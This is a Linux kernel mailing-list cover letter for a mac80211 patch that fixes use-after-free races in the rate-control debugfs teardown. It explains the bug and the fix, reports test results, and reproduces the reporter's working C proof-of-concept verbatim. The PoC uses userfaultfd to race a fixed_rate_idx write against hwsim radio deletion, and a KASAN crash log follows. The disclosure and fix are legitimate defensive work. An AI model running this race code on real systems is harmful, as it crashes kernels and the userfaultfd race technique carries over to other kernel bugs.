From: Ren Wei <weir@nebusec.ai>
To: linux-wireless@vger.kernel.org
Cc: johannes@sipsolutions.net, nbd@nbd.name, linville@tuxdriver.com,
sumit.garg@kernel.org, vega@nebusec.ai, petalzu987@gmail.com,
weir@nebusec.ai
Subject: [PATCH 0/1] wifi: mac80211: drain rate-control debugfs before free
Date: Wed, 28 Oct 2026 23:43:00 +0800 [thread overview]
Message-ID: <cover.1793108147.git.petalzu987@gmail.com> (raw)
From: Zixuan Chai <petalzu987@gmail.com>
This patch drains rate-control debugfs callbacks before freeing their
state, and closes interface creation during teardown. It also fixes the
notifier-failure unwind order on the current wireless/main base.
Hi Linux kernel maintainers,
This patch fixes use-after-free races when mac80211 rate-control state is
torn down while debugfs callbacks remain active. The archived reproducer
requires root in the initial user namespace, a mac80211_hwsim radio using
minstrel_ht, mounted debugfs, and userfaultfd support.
---- details below ----
Bug details:
The fixed_rate_idx debugfs file points into Minstrel's private allocation.
rate_control_free() previously freed that allocation before removing the
debugfs subtree, so an active write could resume after copy_from_user()
and access freed state. The root-level rate_ctrl_alg file has a related
lifetime: its callback reads local->rate_ctrl while teardown releases the
rate-control reference.
The patch saves the rate_ctrl_alg dentry and synchronously removes both
rate-control debugfs entries before clearing local->rate_ctrl or freeing
private state. Interface removal marks local->unregistering under RTNL;
ieee80211_if_add() then rejects additions during deinitialization. In the
notifier-failure path, interfaces are removed under RTNL, RTNL is released,
rate control is deinitialized, and only then is the wiphy unregistered.
The Fixes trailers identify the relevant changes: 5b5e87314efb removed
Minstrel's per-file debugfs cleanup; bddb2afcb6c5 added the root-level
rate_ctrl_alg file; 75636525fbfa removed the old interface registration
gate; and 52e04b4ce5d0 moved wiphy unregistration before rate-control
deinitialization on the registration-failure path.
Reproducer:
Build dependencies are gcc, make, libnl-3-dev, and libnl-genl-3-dev. From
the archived input/poc directory, run as root in the initial user namespace
with debugfs mounted and an hwsim Minstrel radio available:
make
./poc
The reporter's archived QEMU log is from Linux 6.12.95 and records a
KASAN-triggered panic in debugfs_u32_set() during the fixed_rate_idx write.
It is historical reporter evidence, not output from the current patched
guest.
This candidate was built against wireless/main commit
25e73f1d6868c759c8eb56cad4e411692c5341b4 and tested in a 1-vCPU, 4-GiB
QEMU TCG guest with KASAN enabled and panic_on_warn=0. The fixed-rate
userfaultfd race was exercised with a separate raw-netlink harness, not the
reporter's libnl PoC, and completed with write_result=2, delete_result=0,
and the faulting page supplied. The rate_ctrl_alg reader test completed 100
rounds with two readers and no observed KASAN report. A 2-second interface
add/delete run completed with 65 attempts, 15 successes, 50 ENODEV-family
failures, and delete ACK 0. These tests exercised the patched guest only;
there was no clean-guest comparison for this candidate.
After those tests, an optional fixed_rate_idx check targeted phy0 after the
interface harness had deleted it. That missing path made the init=/bin/bash
PID 1 shell exit; the kernel reported "Attempted to kill init". This was a
harness sequencing error, not a target KASAN/Oops finding. The optional
functional read/write check did not complete. The notifier-registration
failure path was not directly fault-injected.
The reporter's PoC and original QEMU log below are copied verbatim from
input/poc/poc.c and input/poc/qemu.log, respectively.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/userfaultfd.h>
#include <netlink/attr.h>
#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>
#include <netlink/msg.h>
#include <netlink/netlink.h>
enum hwsim_commands {
HWSIM_CMD_UNSPEC,
HWSIM_CMD_REGISTER,
HWSIM_CMD_FRAME,
HWSIM_CMD_TX_INFO_FRAME,
HWSIM_CMD_NEW_RADIO,
HWSIM_CMD_DEL_RADIO,
HWSIM_CMD_GET_RADIO,
};
enum hwsim_attrs {
HWSIM_ATTR_UNSPEC,
HWSIM_ATTR_ADDR_RECEIVER,
HWSIM_ATTR_ADDR_TRANSMITTER,
HWSIM_ATTR_FRAME,
HWSIM_ATTR_FLAGS,
HWSIM_ATTR_RX_RATE,
HWSIM_ATTR_SIGNAL,
HWSIM_ATTR_TX_INFO,
HWSIM_ATTR_COOKIE,
HWSIM_ATTR_CHANNELS,
HWSIM_ATTR_RADIO_ID,
HWSIM_ATTR_REG_HINT_ALPHA2,
HWSIM_ATTR_REG_CUSTOM_REG,
HWSIM_ATTR_REG_STRICT_REG,
HWSIM_ATTR_SUPPORT_P2P_DEVICE,
HWSIM_ATTR_USE_CHANCTX,
HWSIM_ATTR_DESTROY_RADIO_ON_CLOSE,
HWSIM_ATTR_RADIO_NAME,
};
struct race_state {
int uffd;
size_t page_size;
void *fault_page;
char payload[32];
pthread_mutex_t lock;
pthread_cond_t cond;
bool fault_seen;
bool allow_resume;
bool page_copied;
};
struct delete_state {
pthread_mutex_t lock;
pthread_cond_t cond;
bool should_delete;
char phy_name[NAME_MAX];
};
struct write_state {
int fd;
const void *buf;
size_t len;
};
static void die_errno(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void die_nl(int err, const char *what)
{
fprintf(stderr, "%s: %s\n", what, nl_geterror(err));
exit(EXIT_FAILURE);
}
static int file_exists(const char *path)
{
return access(path, F_OK) == 0;
}
static int find_hwsim_phy(char *phy_name, size_t phy_name_len, char *fixed_rate_path,
size_t fixed_rate_path_len)
{
DIR *dir;
struct dirent *de;
char hwsim_path[PATH_MAX];
char rc_path[PATH_MAX];
dir = opendir("/sys/kernel/debug/ieee80211");
if (!dir)
return -1;
while ((de = readdir(dir)) != NULL) {
if (strncmp(de->d_name, "phy", 3) != 0)
continue;
snprintf(hwsim_path, sizeof(hwsim_path),
"/sys/kernel/debug/ieee80211/%s/hwsim", de->d_name);
snprintf(rc_path, sizeof(rc_path),
"/sys/kernel/debug/ieee80211/%s/rc/fixed_rate_idx",
de->d_name);
if (!file_exists(hwsim_path) || !file_exists(rc_path))
continue;
if (strlen(de->d_name) >= phy_name_len)
continue;
strcpy(phy_name, de->d_name);
snprintf(fixed_rate_path, fixed_rate_path_len, "%s", rc_path);
closedir(dir);
return 0;
}
closedir(dir);
return -1;
}
static int del_radio_by_name(const char *phy_name)
{
struct nl_sock *sock;
struct nl_msg *msg;
int family;
int err;
sock = nl_socket_alloc();
if (!sock)
return -NLE_NOMEM;
err = genl_connect(sock);
if (err < 0) {
nl_socket_free(sock);
return err;
}
family = genl_ctrl_resolve(sock, "MAC80211_HWSIM");
if (family < 0) {
nl_socket_free(sock);
return family;
}
msg = nlmsg_alloc();
if (!msg) {
nl_socket_free(sock);
return -NLE_NOMEM;
}
if (!genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, family, 0, 0,
HWSIM_CMD_DEL_RADIO, 1)) {
nlmsg_free(msg);
nl_socket_free(sock);
return -NLE_MSGSIZE;
}
err = nla_put_string(msg, HWSIM_ATTR_RADIO_NAME, phy_name);
if (err < 0) {
nlmsg_free(msg);
nl_socket_free(sock);
return err;
}
err = nl_send_auto(sock, msg);
nlmsg_free(msg);
if (err < 0) {
nl_socket_free(sock);
return err;
}
err = nl_wait_for_ack(sock);
nl_socket_free(sock);
return err;
}
static void *uffd_thread(void *arg)
{
struct race_state *race = arg;
struct pollfd pfd = {
.fd = race->uffd,
.events = POLLIN,
};
struct uffd_msg msg;
char *page;
ssize_t nread;
struct uffdio_copy copy = {};
if (poll(&pfd, 1, -1) < 0)
die_errno("poll(userfaultfd)");
nread = read(race->uffd, &msg, sizeof(msg));
if (nread < 0)
die_errno("read(userfaultfd)");
if ((size_t)nread != sizeof(msg)) {
fprintf(stderr, "short read from userfaultfd: %zd\n", nread);
exit(EXIT_FAILURE);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "unexpected userfaultfd event: %u\n", msg.event);
exit(EXIT_FAILURE);
}
pthread_mutex_lock(&race->lock);
race->fault_seen = true;
pthread_cond_broadcast(&race->cond);
while (!race->allow_resume)
pthread_cond_wait(&race->cond, &race->lock);
pthread_mutex_unlock(&race->lock);
page = calloc(1, race->page_size);
if (!page)
die_errno("calloc(page)");
memcpy(page, race->payload, strlen(race->payload));
copy.src = (unsigned long)page;
copy.dst = (unsigned long)race->fault_page;
copy.len = race->page_size;
if (ioctl(race->uffd, UFFDIO_COPY, ©) < 0)
die_errno("ioctl(UFFDIO_COPY)");
free(page);
pthread_mutex_lock(&race->lock);
race->page_copied = true;
pthread_cond_broadcast(&race->cond);
pthread_mutex_unlock(&race->lock);
return NULL;
}
static void *delete_thread(void *arg)
{
struct delete_state *state = arg;
int err;
pthread_mutex_lock(&state->lock);
while (!state->should_delete)
pthread_cond_wait(&state->cond, &state->lock);
pthread_mutex_unlock(&state->lock);
fprintf(stderr, "[*] deleting radio %s\n", state->phy_name);
err = del_radio_by_name(state->phy_name);
if (err < 0)
die_nl(err, "HWSIM_CMD_DEL_RADIO");
fprintf(stderr, "[*] delete request finished\n");
return NULL;
}
static void *write_thread(void *arg)
{
struct write_state *state = arg;
static ssize_t result;
result = write(state->fd, state->buf, state->len);
fprintf(stderr, "[*] write() returned %zd (errno=%d)\n", result, errno);
return NULL;
}
static int setup_userfaultfd(struct race_state *race)
{
struct uffdio_api api = {
.api = UFFD_API,
};
struct uffdio_register reg = {
.range = {
.start = (unsigned long)race->fault_page,
.len = race->page_size,
},
.mode = UFFDIO_REGISTER_MODE_MISSING,
};
race->uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (race->uffd < 0)
return -1;
if (ioctl(race->uffd, UFFDIO_API, &api) < 0)
return -1;
if (ioctl(race->uffd, UFFDIO_REGISTER, ®) < 0)
return -1;
return 0;
}
int main(void)
{
char phy_name[NAME_MAX];
char fixed_rate_path[PATH_MAX];
struct race_state race = {
.uffd = -1,
.payload = "7\n",
.lock = PTHREAD_MUTEX_INITIALIZER,
.cond = PTHREAD_COND_INITIALIZER,
};
struct delete_state del = {
.lock = PTHREAD_MUTEX_INITIALIZER,
.cond = PTHREAD_COND_INITIALIZER,
};
pthread_t uffd_tid;
pthread_t del_tid;
pthread_t wr_tid;
size_t page_size;
int fd;
void *map;
struct write_state write_arg = {};
if (geteuid() != 0) {
fprintf(stderr, "run as root\n");
return EXIT_FAILURE;
}
if (find_hwsim_phy(phy_name, sizeof(phy_name), fixed_rate_path,
sizeof(fixed_rate_path)) != 0) {
fprintf(stderr, "no hwsim fixed_rate_idx file found\n");
return EXIT_FAILURE;
}
fprintf(stderr, "[*] target radio: %s\n", phy_name);
fprintf(stderr, "[*] target file: %s\n", fixed_rate_path);
fd = open(fixed_rate_path, O_WRONLY);
if (fd < 0)
die_errno("open(fixed_rate_idx)");
page_size = sysconf(_SC_PAGESIZE);
if ((long)page_size <= 0) {
fprintf(stderr, "invalid page size\n");
return EXIT_FAILURE;
}
map = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map == MAP_FAILED)
die_errno("mmap");
race.page_size = page_size;
race.fault_page = map;
if (setup_userfaultfd(&race) != 0)
die_errno("setup_userfaultfd");
snprintf(del.phy_name, sizeof(del.phy_name), "%s", phy_name);
write_arg.fd = fd;
write_arg.buf = race.fault_page;
write_arg.len = strlen(race.payload);
if (pthread_create(&uffd_tid, NULL, uffd_thread, &race) != 0)
die_errno("pthread_create(uffd)");
if (pthread_create(&del_tid, NULL, delete_thread, &del) != 0)
die_errno("pthread_create(delete)");
if (pthread_create(&wr_tid, NULL, write_thread, &write_arg) != 0)
die_errno("pthread_create(write)");
pthread_mutex_lock(&race.lock);
while (!race.fault_seen)
pthread_cond_wait(&race.cond, &race.lock);
pthread_mutex_unlock(&race.lock);
fprintf(stderr, "[*] write is stalled in copy_from_user()\n");
pthread_mutex_lock(&del.lock);
del.should_delete = true;
pthread_cond_signal(&del.cond);
pthread_mutex_unlock(&del.lock);
/* Let teardown get past kfree(priv) and block in debugfs removal. */
usleep(500000);
pthread_mutex_lock(&race.lock);
race.allow_resume = true;
pthread_cond_signal(&race.cond);
pthread_mutex_unlock(&race.lock);
fprintf(stderr, "[*] released the faulting page\n");
pthread_join(wr_tid, NULL);
pthread_join(uffd_tid, NULL);
pthread_join(del_tid, NULL);
sleep(1);
return EXIT_SUCCESS;
}
------END poc.c------
----BEGIN reporter crash log----
[ 263.287963][T10466] page_owner tracks the page as allocated
[ 263.288967][T10466] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP), pid 1, tgid 1 (swapper/0), ts 14264745909, free_ts 14238581692
[ 263.292072][T10466] page last free pid 59 tgid 59 stack trace:
[ 263.293579][T10466] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 263.295017][T10466] CPU: 2 UID: 0 PID: 10466 Comm: poc Not tainted 6.12.95 #2
[ 263.296464][T10466] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 263.298775][T10466] Call Trace:
[ 263.299251][T10466] <TASK>
[ 263.299702][T10466] panic+0x533/0x610
[ 263.300304][T10466] ? __pfx_panic+0x10/0x10
[ 263.300971][T10466] ? irqentry_exit+0x3b/0x90
[ 263.301639][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.302459][T10466] ? debugfs_u32_set+0x4a/0x60
[ 263.303209][T10466] ? debugfs_u32_set+0x4a/0x60
[ 263.303892][T10466] check_panic_on_warn+0x61/0x80
[ 263.304595][T10466] end_report+0x11b/0x180
[ 263.305207][T10466] kasan_report+0xe8/0x110
[ 263.305867][T10466] ? debugfs_u32_set+0x4a/0x60
[ 263.306532][T10466] ? __pfx_debugfs_u32_set+0x10/0x10
[ 263.307303][T10466] debugfs_u32_set+0x4a/0x60
[ 263.307957][T10466] simple_attr_write_xsigned.isra.0+0x1a0/0x260
[ 263.308842][T10466] ? __pfx_simple_attr_write_xsigned.isra.0+0x10/0x10
[ 263.309849][T10466] ? rcu_is_watching+0x12/0xc0
[ 263.310571][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.311387][T10466] ? trace_lock_acquire+0x145/0x1c0
[ 263.312151][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.312966][T10466] ? ksys_write+0xfb/0x1d0
[ 263.313619][T10466] debugfs_attr_write+0x65/0x90
[ 263.314301][T10466] vfs_write+0x21d/0xf30
[ 263.314913][T10466] ? __pfx_vfs_write+0x10/0x10
[ 263.315586][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.316398][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.317287][T10466] ? __fget_files+0x1c9/0x300
[ 263.318131][T10466] ksys_write+0xfb/0x1d0
[ 263.318899][T10466] ? __pfx_ksys_write+0x10/0x10
[ 263.319777][T10466] ? srso_alias_return_thunk+0x5/0xfbef5
[ 263.320789][T10466] do_syscall_64+0xc7/0x270
[ 263.321632][T10466] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 263.322694][T10466] RIP: 0033:0x7f5a4a8199ee
[ 263.323461][T10466] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[ 263.326888][T10466] RSP: 002b:00007f5a49779e68 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[ 263.328528][T10466] RAX: ffffffffffffffda RBX: 00007f5a4977a6c0 RCX: 00007f5a4a8199ee
[ 263.330096][T10466] RDX: 0000000000000002 RSI: 00007f5a4a9b0000 RDI: 0000000000000003
[ 263.331503][T10466] RBP: ffffffffffffff40 R08: 0000000000000000 R09: 0000000000000000
[ 263.332893][T10466] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000020
[ 263.334318][T10466] R13: 0000000000000002 R14: 00007ffe52acf820 R15: 00007f5a48f7a000
[ 263.335728][T10466] </TASK>
[ 263.336683][T10466] Kernel Offset: disabled
[ 263.337470][T10466] Rebooting in 86400 seconds..
----END reporter crash log----
Best regards,
Zixuan Chai
Zixuan Chai (1):
wifi: mac80211: drain rate-control debugfs before free
net/mac80211/debugfs.c | 2 +-
net/mac80211/ieee80211_i.h | 2 ++
net/mac80211/iface.c | 4 ++++
net/mac80211/main.c | 5 +++++
net/mac80211/rate.c | 7 ++++---
5 files changed, 16 insertions(+), 4 deletions(-)
--
2.34.1
next reply other threads:[~2026-10-28 15:43 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-28 15:43 Ren Wei [this message]
2026-10-28 15:43 ` [PATCH 1/1] wifi: mac80211: drain rate-control debugfs before free Ren Wei
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1793108147.git.petalzu987@gmail.com \
--to=weir@nebusec.ai \
--cc=johannes@sipsolutions.net \
--cc=linux-wireless@vger.kernel.org \
--cc=linville@tuxdriver.com \
--cc=nbd@nbd.name \
--cc=petalzu987@gmail.com \
--cc=sumit.garg@kernel.org \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox